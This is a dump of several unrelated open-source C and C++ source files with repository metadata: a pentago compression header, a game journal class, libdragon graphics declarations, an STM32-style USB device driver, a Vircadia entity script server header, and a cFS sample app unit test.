// Unified interface to compression libraries #pragma once #include "pentago/utility/array.h" #include "pentago/utility/thread.h" namespace pentago { Array<uint8_t> compress(RawArray<const uint8_t> data, int level, event_t event); Array<uint8_t> decompress(RawArray<const uint8_t> compressed, size_t uncompressed_size, event_t event); size_t compress_memusage(int level); }
27
103
0.796296
5cf1cf732df9255d50ee8a9ae924f029c1de1434
2,417
h
C
CRAB/journal.h
arvindrajayadav/unrest
d89f20e95fbcdef37a47ab1454b2479522a0e43f
[ "MIT" ]
11
2020-08-04T08:37:46.000Z
2022-03-31T22:35:15.000Z
CRAB/journal.h
arvindrajayadav/unrest
d89f20e95fbcdef37a47ab1454b2479522a0e43f
[ "MIT" ]
1
2020-12-16T16:51:52.000Z
2020-12-18T06:35:38.000Z
Unrest-iOS/journal.h
arvindrajayadav/unrest
d89f20e95fbcdef37a47ab1454b2479522a0e43f
[ "MIT" ]
7
2020-08-04T09:34:20.000Z
2021-09-11T03:00:16.000Z
#pragma once #include "common_header.h" #include "ImageManager.h" #include "questmenu.h" #include "ImageData.h" #include "StateButton.h" #define JE_CUR_NAME "cur" #define JE_DONE_NAME "done" #define JE_PEOPLE_NAME "people" #define JE_LOCATION_NAME "location" #define JE_HISTORY_NAME "history" namespace pyrodactyl { namespace ui { //The categories of journal entries enum JournalCategory { JE_CUR, //Quests in progress JE_DONE, //Completed quests JE_PEOPLE, //Info about characters JE_LOCATION, //Info about locations JE_HISTORY, //All the other info JE_TOTAL //The total number of categories }; class Journal { //The background image data ImageData bg; //The menu to select the category to display Menu<StateButton> category; //The selected category int select; //A group contains the entire journal for a single character struct Group { //Id of the character who this journal belongs to std::string id; //The set of menus containing all categories of journals QuestMenu menu[JE_TOTAL]; }; //This contains journal entries for all characters std::vector<Group> journal; //The reference quest menu, used to copy layouts QuestMenu ref; //This button is the "go to map" button, shown if the quest has a corresponding map marker Button bu_map; void Select(const std::string &id, const int &choice); public: //The title of the quest selected by the "show in map" button std::string marker_title; Journal(){ select = 0; } ~Journal(){} void Load(const std::string &filename); void Draw(const std::string &id); //Return true if "go to map" is selected bool HandleEvents(const std::string &id, const SDL_Event &Event); void Add(const std::string &id, const std::string &Category, const std::string &Title, const std::string &Text); void Move(const std::string &id, const std::string &Title, const bool &completed); void Marker(const std::string &id, const std::string &Title, const bool &val); //Open a specific entry in the journal void Open(const std::string &id, const JournalCategory &Category, const std::string &Title); //Prepare a new character's journal void Init(const std::string &id); void SaveState(rapidxml::xml_document<char> &doc, rapidxml::xml_node<char> *root); void LoadState(rapidxml::xml_node<char> *node); void SetUI(); }; } }
26.56044
115
0.703765
656a574fcdc7c0252202c79f02b6cee0b3dac933
2,562
h
C
include/graphics.h
clbr/libdragon
f291303207b6ec4ff4ce842104665ecfb56555c8
[ "Unlicense" ]
28
2017-09-08T19:28:51.000Z
2021-11-25T01:50:59.000Z
include/graphics.h
clbr/libdragon
f291303207b6ec4ff4ce842104665ecfb56555c8
[ "Unlicense" ]
9
2017-09-09T13:51:57.000Z
2020-02-26T13:13:09.000Z
include/graphics.h
clbr/libdragon
f291303207b6ec4ff4ce842104665ecfb56555c8
[ "Unlicense" ]
6
2017-09-10T06:35:38.000Z
2020-05-24T10:44:09.000Z
/** * @file graphics.h * @brief 2D Graphics * @ingroup graphics */ #ifndef __LIBDRAGON_GRAPHICS_H #define __LIBDRAGON_GRAPHICS_H #include "display.h" /** * @addtogroup graphics * @{ */ /** @brief Generic color structure */ typedef struct { /** @brief Red component */ uint8_t r; /** @brief Green component */ uint8_t g; /** @brief Blue component */ uint8_t b; /** @brief Alpha component */ uint8_t a; } color_t; /** @brief Sprite structure */ typedef struct { /** @brief Width in pixels */ uint16_t width; /** @brief Height in pixels */ uint16_t height; /** * @brief Bit depth expressed in bytes * * A 32 bit sprite would have a value of '4' here */ uint8_t bitdepth; /** * @brief Sprite format * @note Currently unused */ uint8_t format; /** @brief Number of horizontal slices for spritemaps */ uint8_t hslices; /** @brief Number of vertical slices for spritemaps */ uint8_t vslices; /** @brief Start of graphics data */ uint32_t data[0]; } sprite_t; #ifdef __cplusplus extern "C" { #endif uint32_t graphics_make_color( int r, int g, int b, int a ); uint32_t graphics_convert_color( color_t color ); void graphics_draw_pixel( display_context_t disp, int x, int y, uint32_t c ); void graphics_draw_pixel_trans( display_context_t disp, int x, int y, uint32_t c ); void graphics_draw_line( display_context_t disp, int x0, int y0, int x1, int y1, uint32_t c ); void graphics_draw_line_trans( display_context_t disp, int x0, int y0, int x1, int y1, uint32_t c ); void graphics_draw_box( display_context_t disp, int x, int y, int width, int height, uint32_t color ); void graphics_draw_box_trans( display_context_t disp, int x, int y, int width, int height, uint32_t color ); void graphics_fill_screen( display_context_t disp, uint32_t c ); void graphics_set_color( uint32_t forecolor, uint32_t backcolor ); void graphics_draw_character( display_context_t disp, int x, int y, char c ); void graphics_draw_text( display_context_t disp, int x, int y, const char * const msg ); void graphics_draw_sprite( display_context_t disp, int x, int y, sprite_t *sprite ); void graphics_draw_sprite_stride( display_context_t disp, int x, int y, sprite_t *sprite, int offset ); void graphics_draw_sprite_trans( display_context_t disp, int x, int y, sprite_t *sprite ); void graphics_draw_sprite_trans_stride( display_context_t disp, int x, int y, sprite_t *sprite, int offset ); #ifdef __cplusplus } #endif /** @} */ /* graphics */ #endif
30.5
109
0.704137
e767dbe214312bb6793ee3322f14f6e6cd4af812
15,548
c
C
port/fsdev/usb_dc_fsdev.c
sakumisu/usb_stack
43005a1b89c9b10a8b6589b0fd6ebf206aef0c03
[ "Apache-2.0" ]
63
2021-09-28T06:34:53.000Z
2022-01-31T11:34:52.000Z
port/fsdev/usb_dc_fsdev.c
sakumisue/usb_stack
43005a1b89c9b10a8b6589b0fd6ebf206aef0c03
[ "Apache-2.0" ]
9
2021-11-20T05:45:19.000Z
2022-02-01T14:57:42.000Z
port/fsdev/usb_dc_fsdev.c
sakumisu/usb_stack
43005a1b89c9b10a8b6589b0fd6ebf206aef0c03
[ "Apache-2.0" ]
8
2021-09-28T06:34:47.000Z
2022-01-31T11:34:53.000Z
#include "usbd_core.h" #include "usb_fsdev_reg.h" #ifndef USBD_IRQHandler #define USBD_IRQHandler USB_LP_CAN1_RX0_IRQHandler //use actual usb irq name instead #endif #ifndef USB_NUM_BIDIR_ENDPOINTS #define USB_NUM_BIDIR_ENDPOINTS 8 #endif #ifndef USB_RAM_SIZE #define USB_RAM_SIZE 512 #endif /* USB device FS */ #define USB_BASE (0x40005C00UL) /*!< USB_IP Peripheral Registers base address */ #define USB_PMAADDR (0x40006000UL) /*!< USB_IP Packet Memory Area base address */ #define USB ((USB_TypeDef *)USB_BASE) #define USB_BTABLE_SIZE (8 * USB_NUM_BIDIR_ENDPOINTS) static void USB_WritePMA(USB_TypeDef *USBx, uint8_t *pbUsrBuf, uint16_t wPMABufAddr, uint16_t wNBytes); static void USB_ReadPMA(USB_TypeDef *USBx, uint8_t *pbUsrBuf, uint16_t wPMABufAddr, uint16_t wNBytes); /* Endpoint state */ struct usb_dc_ep_state { /** Endpoint max packet size */ uint16_t ep_mps; /** Endpoint Transfer Type. * May be Bulk, Interrupt, Control or Isochronous */ uint8_t ep_type; uint8_t ep_stalled; /** Endpoint stall flag */ uint16_t ep_pma_buf_len; /** Previously allocated buffer size */ uint16_t ep_pma_addr; /**ep pmd allocated addr*/ }; /* Driver state */ struct usb_dc_config_priv { USB_TypeDef *Instance; /*!< Register base address */ __IO uint8_t USB_Address; /*!< USB Address */ struct usb_dc_ep_state in_ep[USB_NUM_BIDIR_ENDPOINTS]; /*!< IN endpoint parameters*/ struct usb_dc_ep_state out_ep[USB_NUM_BIDIR_ENDPOINTS]; /*!< OUT endpoint parameters */ uint32_t pma_offset; } usb_dc_cfg; __WEAK void usb_dc_low_level_init(void) { } __WEAK void usb_dc_low_level_deinit(void) { } int usb_dc_init(void) { memset(&usb_dc_cfg, 0, sizeof(struct usb_dc_config_priv)); usb_dc_cfg.Instance = USB; usb_dc_cfg.pma_offset = USB_BTABLE_SIZE; USB_TypeDef *USBx = usb_dc_cfg.Instance; usb_dc_low_level_init(); /* Init Device */ /* CNTR_FRES = 1 */ USBx->CNTR = (uint16_t)USB_CNTR_FRES; /* CNTR_FRES = 0 */ USBx->CNTR = 0U; /* Clear pending interrupts */ USBx->ISTR = 0U; /*Set Btable Address*/ USBx->BTABLE = BTABLE_ADDRESS; uint32_t winterruptmask; /* Set winterruptmask variable */ winterruptmask = USB_CNTR_CTRM | USB_CNTR_WKUPM | USB_CNTR_SUSPM | USB_CNTR_ERRM | USB_CNTR_SOFM | USB_CNTR_ESOFM | USB_CNTR_RESETM; /* Set interrupt mask */ USBx->CNTR = (uint16_t)winterruptmask; return 0; } void usb_dc_deinit(void) { USB_TypeDef *USBx = usb_dc_cfg.Instance; /* disable all interrupts and force USB reset */ USBx->CNTR = (uint16_t)USB_CNTR_FRES; /* clear interrupt status register */ USBx->ISTR = 0U; /* switch-off device */ USBx->CNTR = (uint16_t)(USB_CNTR_FRES | USB_CNTR_PDWN); usb_dc_low_level_deinit(); } int usbd_set_address(const uint8_t addr) { USB_TypeDef *USBx = usb_dc_cfg.Instance; if (addr == 0U) { /* set device address and enable function */ USBx->DADDR = (uint16_t)USB_DADDR_EF; } usb_dc_cfg.USB_Address = addr; return 0; } int usbd_ep_open(const struct usbd_endpoint_cfg *ep_cfg) { USB_TypeDef *USBx = usb_dc_cfg.Instance; uint8_t ep_idx = USB_EP_GET_IDX(ep_cfg->ep_addr); if (!ep_cfg) { return -1; } uint16_t wEpRegVal; wEpRegVal = PCD_GET_ENDPOINT(USBx, ep_idx) & USB_EP_T_MASK; /* initialize Endpoint */ switch (ep_cfg->ep_type) { case EP_TYPE_CTRL: wEpRegVal |= USB_EP_CONTROL; break; case EP_TYPE_BULK: wEpRegVal |= USB_EP_BULK; break; case EP_TYPE_INTR: wEpRegVal |= USB_EP_INTERRUPT; break; case EP_TYPE_ISOC: wEpRegVal |= USB_EP_ISOCHRONOUS; break; default: break; } PCD_SET_ENDPOINT(USBx, ep_idx, (wEpRegVal | USB_EP_CTR_RX | USB_EP_CTR_TX)); PCD_SET_EP_ADDRESS(USBx, ep_idx, ep_idx); if (USB_EP_DIR_IS_OUT(ep_cfg->ep_addr)) { usb_dc_cfg.out_ep[ep_idx].ep_mps = ep_cfg->ep_mps; usb_dc_cfg.out_ep[ep_idx].ep_type = ep_cfg->ep_type; if (usb_dc_cfg.out_ep[ep_idx].ep_mps > usb_dc_cfg.out_ep[ep_idx].ep_pma_buf_len) { if (usb_dc_cfg.pma_offset + usb_dc_cfg.out_ep[ep_idx].ep_mps >= 512) { return -1; } usb_dc_cfg.out_ep[ep_idx].ep_pma_buf_len = ep_cfg->ep_mps; usb_dc_cfg.out_ep[ep_idx].ep_pma_addr = usb_dc_cfg.pma_offset; /*Set the endpoint Receive buffer address */ PCD_SET_EP_RX_ADDRESS(USBx, ep_idx, usb_dc_cfg.pma_offset); usb_dc_cfg.pma_offset += ep_cfg->ep_mps; } /*Set the endpoint Receive buffer counter*/ PCD_SET_EP_RX_CNT(USBx, ep_idx, ep_cfg->ep_mps); PCD_CLEAR_RX_DTOG(USBx, ep_idx); /* Configure VALID status for the Endpoint*/ PCD_SET_EP_RX_STATUS(USBx, ep_idx, USB_EP_RX_VALID); } else { usb_dc_cfg.in_ep[ep_idx].ep_mps = ep_cfg->ep_mps; usb_dc_cfg.in_ep[ep_idx].ep_type = ep_cfg->ep_type; if (usb_dc_cfg.in_ep[ep_idx].ep_mps > usb_dc_cfg.in_ep[ep_idx].ep_pma_buf_len) { if (usb_dc_cfg.pma_offset + usb_dc_cfg.in_ep[ep_idx].ep_mps >= USB_RAM_SIZE) { return -1; } usb_dc_cfg.in_ep[ep_idx].ep_pma_buf_len = ep_cfg->ep_mps; usb_dc_cfg.in_ep[ep_idx].ep_pma_addr = usb_dc_cfg.pma_offset; /*Set the endpoint Transmit buffer address */ PCD_SET_EP_TX_ADDRESS(USBx, ep_idx, usb_dc_cfg.pma_offset); usb_dc_cfg.pma_offset += ep_cfg->ep_mps; } PCD_CLEAR_TX_DTOG(USBx, ep_idx); if (ep_cfg->ep_type != EP_TYPE_ISOC) { /* Configure NAK status for the Endpoint */ PCD_SET_EP_TX_STATUS(USBx, ep_idx, USB_EP_TX_NAK); } else { /* Configure TX Endpoint to disabled state */ PCD_SET_EP_TX_STATUS(USBx, ep_idx, USB_EP_TX_DIS); } } return 0; } int usbd_ep_close(const uint8_t ep) { USB_TypeDef *USBx = usb_dc_cfg.Instance; uint8_t ep_idx = USB_EP_GET_IDX(ep); if (USB_EP_DIR_IS_OUT(ep)) { PCD_CLEAR_RX_DTOG(USBx, ep_idx); /* Configure DISABLE status for the Endpoint*/ PCD_SET_EP_RX_STATUS(USBx, ep_idx, USB_EP_RX_DIS); } else { PCD_CLEAR_TX_DTOG(USBx, ep_idx); /* Configure DISABLE status for the Endpoint*/ PCD_SET_EP_TX_STATUS(USBx, ep_idx, USB_EP_TX_DIS); } return 0; } int usbd_ep_set_stall(const uint8_t ep) { USB_TypeDef *USBx = usb_dc_cfg.Instance; uint8_t ep_idx = USB_EP_GET_IDX(ep); if (USB_EP_DIR_IS_OUT(ep)) { PCD_SET_EP_RX_STATUS(USBx, ep_idx, USB_EP_RX_STALL); } else { PCD_SET_EP_TX_STATUS(USBx, ep_idx, USB_EP_TX_STALL); } return 0; } int usbd_ep_clear_stall(const uint8_t ep) { USB_TypeDef *USBx = usb_dc_cfg.Instance; uint8_t ep_idx = USB_EP_GET_IDX(ep); if (USB_EP_DIR_IS_OUT(ep)) { PCD_CLEAR_TX_DTOG(USBx, ep_idx); if (usb_dc_cfg.in_ep[ep_idx].ep_type != EP_TYPE_ISOC) { /* Configure NAK status for the Endpoint */ PCD_SET_EP_TX_STATUS(USBx, ep_idx, USB_EP_TX_NAK); } } else { PCD_CLEAR_RX_DTOG(USBx, ep_idx); /* Configure VALID status for the Endpoint */ PCD_SET_EP_RX_STATUS(USBx, ep_idx, USB_EP_RX_VALID); } return 0; } int usbd_ep_is_stalled(const uint8_t ep, uint8_t *stalled) { if (USB_EP_DIR_IS_OUT(ep)) { } else { } return 0; } int usbd_ep_write(const uint8_t ep, const uint8_t *data, uint32_t data_len, uint32_t *ret_bytes) { USB_TypeDef *USBx = usb_dc_cfg.Instance; uint8_t ep_idx = USB_EP_GET_IDX(ep); if (!data && data_len) { return -1; } if (!data_len) { PCD_SET_EP_TX_CNT(USBx, ep_idx, (uint16_t)0); PCD_SET_EP_TX_STATUS(USBx, ep_idx, USB_EP_TX_VALID); return 0; } if (data_len > usb_dc_cfg.in_ep[ep_idx].ep_mps) { data_len = usb_dc_cfg.in_ep[ep_idx].ep_mps; } USB_WritePMA(USBx, (uint8_t *)data, usb_dc_cfg.in_ep[ep_idx].ep_pma_addr, (uint16_t)data_len); PCD_SET_EP_TX_CNT(USBx, ep_idx, (uint16_t)data_len); PCD_SET_EP_TX_STATUS(USBx, ep_idx, USB_EP_TX_VALID); if (ret_bytes) { *ret_bytes = data_len; } return 0; } int usbd_ep_read(const uint8_t ep, uint8_t *data, uint32_t max_data_len, uint32_t *read_bytes) { USB_TypeDef *USBx = usb_dc_cfg.Instance; uint8_t ep_idx = USB_EP_GET_IDX(ep); uint32_t read_count; if (!data && max_data_len) { return -1; } if (!max_data_len) { if (ep_idx != 0x00) PCD_SET_EP_RX_STATUS(USBx, ep_idx, USB_EP_RX_VALID); return 0; } read_count = PCD_GET_EP_RX_CNT(USBx, ep_idx); read_count = MIN(read_count, max_data_len); USB_ReadPMA(USBx, (uint8_t *)data, usb_dc_cfg.out_ep[ep_idx].ep_pma_addr, (uint16_t)read_count); if (read_bytes) { *read_bytes = read_count; } return 0; } /** * @brief This function handles PCD interrupt request. * @param hpcd PCD handle * @retval HAL status */ void USBD_IRQHandler(void) { USB_TypeDef *USBx = usb_dc_cfg.Instance; uint16_t wIstr, wEPVal; uint8_t epindex; wIstr = USBx->ISTR; uint16_t store_ep[8]; if (wIstr & USB_ISTR_CTR) { while ((USBx->ISTR & USB_ISTR_CTR) != 0U) { wIstr = USBx->ISTR; /* extract highest priority endpoint number */ epindex = (uint8_t)(wIstr & USB_ISTR_EP_ID); if (epindex == 0U) { /* Decode and service control endpoint interrupt */ /* DIR bit = origin of the interrupt */ if ((wIstr & USB_ISTR_DIR) == 0U) { /* DIR = 0 */ /* DIR = 0 => IN int */ /* DIR = 0 implies that (EP_CTR_TX = 1) always */ PCD_CLEAR_TX_EP_CTR(USBx, 0); usbd_event_notify_handler(USBD_EVENT_EP0_IN_NOTIFY, NULL); if ((usb_dc_cfg.USB_Address > 0U) && (PCD_GET_EP_TX_CNT(USBx, 0) == 0U)) { USBx->DADDR = ((uint16_t)usb_dc_cfg.USB_Address | USB_DADDR_EF); usb_dc_cfg.USB_Address = 0U; } } /* DIR = 1 */ /* DIR = 1 & CTR_RX => SETUP or OUT int */ /* DIR = 1 & (CTR_TX | CTR_RX) => 2 int pending */ wEPVal = PCD_GET_ENDPOINT(USBx, 0); if ((wEPVal & USB_EP_SETUP) != 0U) { /* SETUP bit kept frozen while CTR_RX = 1 */ PCD_CLEAR_RX_EP_CTR(USBx, 0); /* Process SETUP Packet*/ usbd_event_notify_handler(USBD_EVENT_SETUP_NOTIFY, NULL); PCD_SET_EP_RX_STATUS(USBx, 0, USB_EP_RX_VALID); } else if ((wEPVal & USB_EP_CTR_RX) != 0U) { PCD_CLEAR_RX_EP_CTR(USBx, 0); /* Process Control Data OUT Packet */ usbd_event_notify_handler(USBD_EVENT_EP0_OUT_NOTIFY, NULL); PCD_SET_EP_RX_STATUS(USBx, 0, USB_EP_RX_VALID); } } else { /* Decode and service non control endpoints interrupt */ /* process related endpoint register */ wEPVal = PCD_GET_ENDPOINT(USBx, epindex); if ((wEPVal & USB_EP_CTR_RX) != 0U) { /* clear int flag */ PCD_CLEAR_RX_EP_CTR(USBx, epindex); usbd_event_notify_handler(USBD_EVENT_EP_OUT_NOTIFY, (void *)(epindex & 0x7f)); } if ((wEPVal & USB_EP_CTR_TX) != 0U) { /* clear int flag */ PCD_CLEAR_TX_EP_CTR(USBx, epindex); usbd_event_notify_handler(USBD_EVENT_EP_IN_NOTIFY, (void *)(epindex | 0x80)); } } } } if (wIstr & USB_ISTR_RESET) { usbd_event_notify_handler(USBD_EVENT_RESET, NULL); USBx->ISTR &= (uint16_t)(~USB_ISTR_RESET); } if (wIstr & USB_ISTR_PMAOVR) { USBx->ISTR &= (uint16_t)(~USB_ISTR_PMAOVR); } if (wIstr & USB_ISTR_ERR) { USBx->ISTR &= (uint16_t)(~USB_ISTR_ERR); } if (wIstr & USB_ISTR_WKUP) { USBx->CNTR &= (uint16_t) ~(USB_CNTR_LP_MODE); USBx->CNTR &= (uint16_t) ~(USB_CNTR_FSUSP); USBx->ISTR &= (uint16_t)(~USB_ISTR_WKUP); } if (wIstr & USB_ISTR_SUSP) { /* WA: To Clear Wakeup flag if raised with suspend signal */ /* Store Endpoint register */ for (uint8_t i = 0U; i < 8U; i++) { store_ep[i] = PCD_GET_ENDPOINT(USBx, i); } /* FORCE RESET */ USBx->CNTR |= (uint16_t)(USB_CNTR_FRES); /* CLEAR RESET */ USBx->CNTR &= (uint16_t)(~USB_CNTR_FRES); /* wait for reset flag in ISTR */ while ((USBx->ISTR & USB_ISTR_RESET) == 0U) { } /* Clear Reset Flag */ USBx->ISTR &= (uint16_t)(~USB_ISTR_RESET); /* Restore Registre */ for (uint8_t i = 0U; i < 8U; i++) { PCD_SET_ENDPOINT(USBx, i, store_ep[i]); } /* Force low-power mode in the macrocell */ USBx->CNTR |= (uint16_t)USB_CNTR_FSUSP; /* clear of the ISTR bit must be done after setting of CNTR_FSUSP */ USBx->ISTR &= (uint16_t)(~USB_ISTR_SUSP); USBx->CNTR |= (uint16_t)USB_CNTR_LP_MODE; } if (wIstr & USB_ISTR_SOF) { USBx->ISTR &= (uint16_t)(~USB_ISTR_SOF); } if (wIstr & USB_ISTR_ESOF) { USBx->ISTR &= (uint16_t)(~USB_ISTR_ESOF); } } static void USB_WritePMA(USB_TypeDef *USBx, uint8_t *pbUsrBuf, uint16_t wPMABufAddr, uint16_t wNBytes) { uint32_t n = ((uint32_t)wNBytes + 1U) >> 1; uint32_t BaseAddr = (uint32_t)USBx; uint32_t i, temp1, temp2; __IO uint16_t *pdwVal; uint8_t *pBuf = pbUsrBuf; pdwVal = (__IO uint16_t *)(BaseAddr + 0x400U + ((uint32_t)wPMABufAddr * PMA_ACCESS)); for (i = n; i != 0U; i--) { temp1 = *pBuf; pBuf++; temp2 = temp1 | ((uint16_t)((uint16_t)*pBuf << 8)); *pdwVal = (uint16_t)temp2; pdwVal++; #if PMA_ACCESS > 1U pdwVal++; #endif pBuf++; } } /** * @brief Copy data from packet memory area (PMA) to user memory buffer * @param USBx USB peripheral instance register address. * @param pbUsrBuf pointer to user memory area. * @param wPMABufAddr address into PMA. * @param wNBytes no. of bytes to be copied. * @retval None */ static void USB_ReadPMA(USB_TypeDef *USBx, uint8_t *pbUsrBuf, uint16_t wPMABufAddr, uint16_t wNBytes) { uint32_t n = (uint32_t)wNBytes >> 1; uint32_t BaseAddr = (uint32_t)USBx; uint32_t i, temp; __IO uint16_t *pdwVal; uint8_t *pBuf = pbUsrBuf; pdwVal = (__IO uint16_t *)(BaseAddr + 0x400U + ((uint32_t)wPMABufAddr * PMA_ACCESS)); for (i = n; i != 0U; i--) { temp = *(__IO uint16_t *)pdwVal; pdwVal++; *pBuf = (uint8_t)((temp >> 0) & 0xFFU); pBuf++; *pBuf = (uint8_t)((temp >> 8) & 0xFFU); pBuf++; #if PMA_ACCESS > 1U pdwVal++; #endif } if ((wNBytes % 2U) != 0U) { temp = *pdwVal; *pBuf = (uint8_t)((temp >> 0) & 0xFFU); } }
30.249027
103
0.602071
b7929eb5af39302a39d7b5664919c91e1284d6c4
2,952
h
C
assignment-client/src/scripts/EntityScriptServer.h
Penguin-Guru/vircadia
021268696c73f699364fa93f5d6db03e6b1b8426
[ "Apache-2.0" ]
272
2021-01-07T03:06:08.000Z
2022-03-25T03:54:07.000Z
assignment-client/src/scripts/EntityScriptServer.h
Penguin-Guru/vircadia
021268696c73f699364fa93f5d6db03e6b1b8426
[ "Apache-2.0" ]
1,021
2020-12-12T02:33:32.000Z
2022-03-31T23:36:37.000Z
assignment-client/src/scripts/EntityScriptServer.h
Penguin-Guru/vircadia
021268696c73f699364fa93f5d6db03e6b1b8426
[ "Apache-2.0" ]
77
2020-12-15T06:59:34.000Z
2022-03-23T22:18:04.000Z
// // EntityScriptServer.h // assignment-client/src/scripts // // Created by Clément Brisset on 1/5/17. // Copyright 2013 High Fidelity, Inc. // // Distributed under the Apache License, Version 2.0. // See the accompanying file LICENSE or http://www.apache.org/licenses/LICENSE-2.0.html // #ifndef hifi_EntityScriptServer_h #define hifi_EntityScriptServer_h #include <set> #include <vector> #include <QtCore/QObject> #include <QtCore/QSharedPointer> #include <QtCore/QUuid> #include <EntityEditPacketSender.h> #include <plugins/CodecPlugin.h> #include <ScriptEngine.h> #include <SimpleEntitySimulation.h> #include <ThreadedAssignment.h> #include "../entities/EntityTreeHeadlessViewer.h" class EntityScriptServer : public ThreadedAssignment { Q_OBJECT public: EntityScriptServer(ReceivedMessage& message); ~EntityScriptServer(); virtual void aboutToFinish() override; public slots: void run() override; void nodeActivated(SharedNodePointer activatedNode); void nodeKilled(SharedNodePointer killedNode); void sendStatsPacket() override; private slots: void handleOctreePacket(QSharedPointer<ReceivedMessage> message, SharedNodePointer senderNode); void handleSelectedAudioFormat(QSharedPointer<ReceivedMessage> message); void handleReloadEntityServerScriptPacket(QSharedPointer<ReceivedMessage> message, SharedNodePointer senderNode); void handleEntityScriptGetStatusPacket(QSharedPointer<ReceivedMessage> message, SharedNodePointer senderNode); void handleSettings(); void updateEntityPPS(); void handleEntityServerScriptLogPacket(QSharedPointer<ReceivedMessage> message, SharedNodePointer senderNode); void pushLogs(); void handleEntityScriptCallMethodPacket(QSharedPointer<ReceivedMessage> message, SharedNodePointer senderNode); private: void negotiateAudioFormat(); void selectAudioFormat(const QString& selectedCodecName); void resetEntitiesScriptEngine(); void clear(); void shutdownScriptEngine(); void addingEntity(const EntityItemID& entityID); void deletingEntity(const EntityItemID& entityID); void entityServerScriptChanging(const EntityItemID& entityID, bool reload); void checkAndCallPreload(const EntityItemID& entityID, bool forceRedownload = false); void cleanupOldKilledListeners(); bool _shuttingDown { false }; static int _entitiesScriptEngineCount; ScriptEnginePointer _entitiesScriptEngine; SimpleEntitySimulationPointer _entitySimulation; EntityEditPacketSender _entityEditSender; EntityTreeHeadlessViewer _entityViewer; int _maxEntityPPS { DEFAULT_MAX_ENTITY_PPS }; int _entityPPSPerScript { DEFAULT_ENTITY_PPS_PER_SCRIPT }; std::set<QUuid> _logListeners; std::vector<std::pair<QUuid, quint64>> _killedListeners; QString _selectedCodecName; CodecPluginPointer _codec; Encoder* _encoder { nullptr }; }; #endif // hifi_EntityScriptServer_h
30.75
117
0.78252
b7a53a690d87496b2661f5b839c6601450fe0971
18,482
c
C
unit-test/coveragetest/coveragetest_sample_app.c
ejtimmon/sample_app
b95629216ae8cda3b86332f81bb515743fedcede
[ "Apache-2.0" ]
null
null
null
unit-test/coveragetest/coveragetest_sample_app.c
ejtimmon/sample_app
b95629216ae8cda3b86332f81bb515743fedcede
[ "Apache-2.0" ]
null
null
null
unit-test/coveragetest/coveragetest_sample_app.c
ejtimmon/sample_app
b95629216ae8cda3b86332f81bb515743fedcede
[ "Apache-2.0" ]
null
null
null
/* ** GSC-18128-1, "Core Flight Executive Version 6.7" ** ** Copyright (c) 2006-2019 United States Government as represented by ** the Administrator of the National Aeronautics and Space Administration. ** All Rights Reserved. ** ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. */ /* ** File: coveragetest_sample_app.c ** ** Purpose: ** Coverage Unit Test cases for the SAMPLE Application ** ** Notes: ** This implements various test cases to exercise all code ** paths through all functions defined in the SAMPLE application. ** ** It is primarily focused at providing examples of the various ** stub configurations, hook functions, and wrapper calls that ** are often needed when coercing certain code paths through ** complex functions. */ /* * Includes */ #include "sample_lib.h" #include "sample_app_coveragetest_common.h" #include "ut_sample_app.h" /* to get the SAMPLE_Function() declaration */ typedef struct { uint16 ExpectedEvent; uint32 MatchCount; } UT_CheckEvent_t; /* * An example hook function to check for a specific event. */ static int32 UT_CheckEvent_Hook(void *UserObj, int32 StubRetcode, uint32 CallCount, const UT_StubContext_t *Context) { UT_CheckEvent_t *State = UserObj; uint16 *EventIdPtr; /* * The CFE_EVS_SendEvent stub passes the EventID as the * first context argument. */ if (Context->ArgCount > 0) { EventIdPtr = (uint16*)Context->ArgPtr[0]; if (*EventIdPtr == State->ExpectedEvent) { ++State->MatchCount; } } return 0; } /* * Helper function to set up for event checking * This attaches the hook function to CFE_EVS_SendEvent */ static void UT_CheckEvent_Setup(UT_CheckEvent_t *Evt, uint16 ExpectedEvent) { memset(Evt, 0, sizeof(*Evt)); Evt->ExpectedEvent = ExpectedEvent; UT_SetHookFunction(UT_KEY(CFE_EVS_SendEvent), UT_CheckEvent_Hook, Evt); } /* ********************************************************************************** ** TEST CASE FUNCTIONS ********************************************************************************** */ void Test_SAMPLE_AppMain(void) { /* * Test Case For: * void SAMPLE_AppMain( void ) */ UT_CheckEvent_t EventTest; /* * SAMPLE_AppMain does not return a value, * but it has several internal decision points * that need to be exercised here. * * First call it in "nominal" mode where all * dependent calls should be successful by default. */ SAMPLE_AppMain(); /* * Confirm that CFE_ES_ExitApp() was called at the end of execution */ UtAssert_True(UT_GetStubCount(UT_KEY(CFE_ES_ExitApp)) == 1, "CFE_ES_ExitApp() called"); /* * Now set up individual cases for each of the error paths. * The first is for SAMPLE_AppInit(). As this is in the same * code unit, it is not a stub where the return code can be * easily set. In order to get this to fail, an underlying * call needs to fail, and the error gets propagated through. * The call to CFE_EVS_Register is the first opportunity. * Any identifiable (non-success) return code should work. */ UT_SetDeferredRetcode(UT_KEY(CFE_EVS_Register), 1, CFE_EVS_INVALID_PARAMETER); /* * Just call the function again. It does not return * the value, so there is nothing to test for here directly. * However, it should show up in the coverage report that * the SAMPLE_AppInit() failure path was taken. */ SAMPLE_AppMain(); /* * This can validate that the internal "RunStatus" was * set to CFE_ES_RunStatus_APP_ERROR, by querying the struct directly. * * It is always advisable to include the _actual_ values * when asserting on conditions, so if/when it fails, the * log will show what the incorrect value was. */ UtAssert_True(SAMPLE_AppData.RunStatus == CFE_ES_RunStatus_APP_ERROR, "SAMPLE_AppData.RunStatus (%d) == CFE_ES_RunStatus_APP_ERROR", SAMPLE_AppData.RunStatus); /* * Note that CFE_ES_RunLoop returns a boolean value, * so in order to exercise the internal "while" loop, * it needs to return TRUE. But this also needs to return * FALSE in order to get out of the loop, otherwise * it will stay there infinitely. * * The deferred retcode will accomplish this. */ UT_SetDeferredRetcode(UT_KEY(CFE_ES_RunLoop), 1, true); /* * Invoke again */ SAMPLE_AppMain(); /* * Confirm that CFE_SB_RcvMsg() (inside the loop) was called */ UtAssert_True(UT_GetStubCount(UT_KEY(CFE_SB_RcvMsg)) == 1, "CFE_SB_RcvMsg() called"); /* * Now also make the CFE_SB_RcvMsg call fail, * to exercise that error path. This sends an * event which can be checked with a hook function. */ UT_SetDeferredRetcode(UT_KEY(CFE_ES_RunLoop), 1, true); 